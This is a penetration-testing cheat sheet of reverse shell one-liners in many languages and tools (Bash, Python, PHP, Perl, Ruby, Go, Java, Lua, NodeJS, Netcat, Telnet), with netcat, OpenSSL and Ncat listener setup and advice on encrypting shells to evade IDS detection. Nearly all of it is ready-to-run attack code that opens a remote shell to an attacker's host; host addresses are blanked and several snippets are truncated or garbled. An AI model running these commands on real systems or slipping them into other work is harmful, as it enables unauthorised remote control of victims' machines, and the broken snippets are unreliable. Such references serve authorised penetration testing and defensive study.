Reverse Shells

Reverse Shells #

At a Glance #

After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target. Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall.

The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.12

Unencrypted Shells #

Netcat Listener #

To get the connection from the remote machine ( and interact with it, a listener have to be set on the desired port (1234) on the local machine (

sudo nc -nvlp 1234
  • n: don’t do DNS lookups.
  • v: prints status messages.
  • l: listen.
  • p <port>: local port used for listening.


Use a port that is likely allowed via outbound firewall rules on the target network.

Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions.

Bash #

bash -i >& /dev/tcp/ 0>&1
0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196

Awk #

awk 'BEGIN {s = "/inet/tcp/0/"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Gawk #

#!/usr/bin/gawk -f

    Service = "/inet/tcp/0/"
    while (1) {
        do {
            printf "0xffsec>" |& Service
            Service |& getline cmd
            if (cmd) {
                while ((cmd |& getline) > 0)
                    print $0 |& Service
        } while (cmd != "exit")


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PERL Windows #

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python #

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Python Windows #

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('', 1234)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'], __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby #

ruby -rsocket -e 'exit if fork;"","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'
ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby Windows #

ruby -rsocket -e '"","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

Golang #

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Java #

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

Groovy 3 #

String host="";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Note: Java reverse shell also works for Groovy.

Lua #

lua -e "require('socket');require('os');t=socket.tcp();t:connect('','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Lua Windows #

lua5.1 -e 'local host, port = "", 1234 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS #

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "", function(){
    return /a/; // Prevents the Node.js application form crashing
require('child_process').exec('nc -e /bin/sh 1234')
-var x = global.process.mainModule.require
-x('child_process').exec('nc 1234 -e /bin/bash')

Netcat #

nc -e /bin/sh 1234

Depending on the Netcat version, the -e option may not be available, but you still can execute a command after connection being established by redirecting file descriptors. A FIFO or named pipe can be created locally so when a connection is established, /bin/sh gets executed and the shell prompt is given to the remote machine.4

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f

Netcat Windows #

nc.exe 1234 -e cmd.exe

Telnet #

rm -f /tmp/f; mknod /tmp/f p && telnet 1234 0/tmp/p

Note: A FIFO can be create both with mknod <path> p or mkfifo <path> .

Encrypted Shells #

During an engagement is imperative to encrypt the communication between the target and the attacker to protect sensitive data and from further activity analysis.

Although most of the tools listed below do not support certificate pinning, meaning they won’t protect you against a MITM attack, they can significantly reduce the risk of sniffing and IDS detection. 5

OpenSSL 6 #

Before starting the listener, a key pair and a certificate must be generated.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • req: certificate request and certificate generating utility.
  • -x509: output a x590 structure instead of a certificate request.
  • -newkey <type:bits>: specify as type:bits.
  • -keyout <file>: send key to <file>.
  • -out: output file.
  • -days <int>: number of days cert is valid for.
  • -nodes: don’t encrypt the output key.

Listener #

openssl s_server -key key.pem -cert cert.pem -port 1234
  • s_server: generic SSL/TLS server which listens for connections on a given port using SSL/TLS.
  • -key <key>: private Key if not in -cert; default is server.pem.
  • -cert <cert>: certificate file to use; default is server.pem.
  • -port <port>: TCP/IP port to listen on for connections (default: 4433).

Reverse Shell #

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect > /tmp/s 2> /dev/null; rm /tmp/s
  • s_client: generic SSL/TLS client which connects to a remote host using SSL/TLS.
  • -connect: TCP/IP where to connect (default: 4433).

Ncat 7 #

Listener #

ncat -nvlp 1234 --ssl

Reverse Shell #

ncat -nv 1234 -e /bin/bash --ssl
  • -n: do not resolve hostnames via DNS.
  • -v: verbose mode.
  • -l: bind and listen for incoming connections.
  • -p <port>: specify source port to use.
  • -e <command>: executes the given command.

  1. “Reverse Shell Cheat Sheet | Pentestmonkey.” Pentestmonkey | Taking the Monkey Work out of Pentesting,↩︎

  2. swisskyrepo. “PayloadsAllTheThings/Reverse Shell Cheatsheet.Md at Master · Swisskyrepo/PayloadsAllTheThings · GitHub.” GitHub,↩︎

  3. Frohoff, Chris. “Pure Groovy/Java Reverse Shell .” Gist · GitHub, 262588213843476,↩︎

  4. “Nc.Openbsd.” Man Pages Archive - Manned.Org,↩︎

  5. “Certificate and Public Key Pinning Control.” OWASP Foundation | Open Source Foundation for Application Security,↩︎

  6. OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org,↩︎

  7. “Ncat Users’ Guide.” Nmap: The Network Mapper - Free Security Scanner,↩︎